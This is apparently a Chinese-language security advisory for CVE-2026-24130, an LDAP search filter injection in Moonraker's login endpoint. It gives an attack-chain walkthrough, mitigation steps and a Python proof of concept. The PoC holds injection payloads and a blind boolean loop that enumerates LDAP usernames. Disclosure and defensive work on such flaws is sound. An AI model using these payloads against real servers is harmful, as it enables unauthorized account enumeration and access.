IPBUF安全漏洞报告
English
CVE-2026-24130 CVSS 5.3 中危

CVE-2026-24130 Moonraker LDAP搜索过滤器注入漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24130
漏洞类型
LDAP注入
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Moonraker (Klipper 3D打印固件API服务)

相关标签

LDAP注入MoonrakerKlipperPythonWeb服务认证绕过信息泄露CVE-2026-24130

漏洞概述

CVE-2026-24130是Moonraker项目中的一个LDAP搜索过滤器注入漏洞。Moonraker是一个Python Web服务器,专门为Klipper 3D打印固件提供API访问接口。在0.9.3及更低版本中,当实例启用ldap组件配置时,登录端点存在LDAP搜索过滤器注入漏洞。攻击者可以通过构造特殊的输入字符,利用401错误响应消息的差异性来判断LDAP搜索是否成功,从而实施暴力破解攻击,逐步枚举服务器上的LDAP条目,包括用户ID和各种用户属性信息。该漏洞无需任何认证即可利用,影响系统的机密性。由于该漏洞已被在0.10.0版本中修复,建议用户尽快升级。

技术细节

该漏洞属于LDAP搜索过滤器注入(LDAP Search Filter Injection),是OWASP分类中的注入漏洞变种。在Moonraker的登录认证流程中,当启用LDAP组件时,用户输入被直接拼接到LDAP搜索过滤器的查询语句中,而未进行充分的输入验证和转义处理。攻击者可以通过在登录表单中注入特殊构造的LDAP元字符(如星号*、括号()、反斜杠等),改变原始过滤器的逻辑结构。例如,注入'*'可以匹配任意值,注入')(uid=*可以闭合原始过滤器并添加新的查询条件。系统返回的401错误响应会根据LDAP查询结果给出不同提示,攻击者可以利用这种差异进行布尔型盲注探测,逐步推断出服务器上存储的LDAP条目内容。整个攻击过程通过网络远程执行,无需任何认证凭证。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器是否运行Moonraker Web服务,并确认其版本低于0.10.0且启用了LDAP认证组件
STEP 2
步骤2: 漏洞探测
攻击者向登录端点发送包含LDAP元字符的测试载荷(如通配符*),观察401响应消息的差异性,验证是否存在LDAP搜索过滤器注入漏洞
STEP 3
步骤3: 过滤器注入测试
通过构造特殊的LDAP过滤器语法(如闭合括号、添加逻辑操作符),测试能否操控原始LDAP搜索查询的逻辑结构
STEP 4
步骤4: 暴力枚举LDAP条目
利用布尔型盲注技术,通过不断变换输入值并分析响应差异,逐字符猜测和枚举服务器上的LDAP用户ID、用户属性等信息
STEP 5
步骤5: 凭证利用
获取有效的LDAP用户标识后,攻击者可进一步尝试登录或结合其他漏洞实现对Klipper 3D打印系统的未授权访问和控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-24130 LDAP Injection PoC for Moonraker # Target: Moonraker < 0.10.0 with LDAP component enabled TARGET_URL = "http://target-ip:7125" LOGIN_ENDPOINT = f"{TARGET_URL}/access/login" def test_ldap_injection_basic(): """Test basic LDAP injection to determine if vulnerability exists""" # Test payload: wildcard injection to check if filter is injectable payloads = [ {"user": "*", "password": "invalid"}, # Wildcard test {"user": "admin)(*)(&password=test", "password": "test"}, # Filter manipulation {"user": "*)*)(&password=test", "password": "test"}, # Filter closing ] print("[*] Testing LDAP Injection vulnerability...") for i, payload in enumerate(payloads, 1): try: response = requests.post(LOGIN_ENDPOINT, json=payload, timeout=10) print(f"[*] Payload {i}: Status={response.status_code}") # Different response patterns may indicate successful injection if response.status_code == 401: print(f" Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") def enumerate_ldap_entries(): """Brute force enumeration of LDAP entries using boolean injection""" # Example: Enumerating usernames character by character charset = "abcdefghijklmnopqrstuvwxyz0123456789_-@." discovered_user = "" print("[*] Starting LDAP entry enumeration...") for pos in range(1, 33): # Max username length 32 found = False for char in charset: # Blind boolean injection - extract character by character test_user = discovered_user + char payload = { "user": f")({test_user}*", # LDAP filter injection "password": "dummy" } try: response = requests.post(LOGIN_ENDPOINT, json=payload, timeout=5) # Analyze response timing or content differences if response.status_code == 401 and "invalid" in response.text.lower(): discovered_user += char print(f"[+] Position {pos}: Found '{char}', current: {discovered_user}") found = True break except: pass if not found: break print(f"[*] Discovered LDAP entry: {discovered_user}") return discovered_user if __name__ == "__main__": print("=" * 50) print("CVE-2026-24130 Moonraker LDAP Injection PoC") print("=" * 50) test_ldap_injection_basic() # Uncomment to run enumeration (requires vulnerable target) # enumerate_ldap_entries()

影响范围

Moonraker <= 0.9.3 (with LDAP component enabled)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用Moonraker的LDAP认证组件,改用本地认证或其他安全认证方式;2)在LDAP服务前端部署Web应用防火墙(WAF),对登录请求中的LDAP特殊字符进行过滤和阻断;3)限制LDAP服务的网络访问,仅允许受信任的IP访问;4)启用详细的审计日志,监控异常的登录尝试行为。同时建议尽快规划升级到0.10.0或更新版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表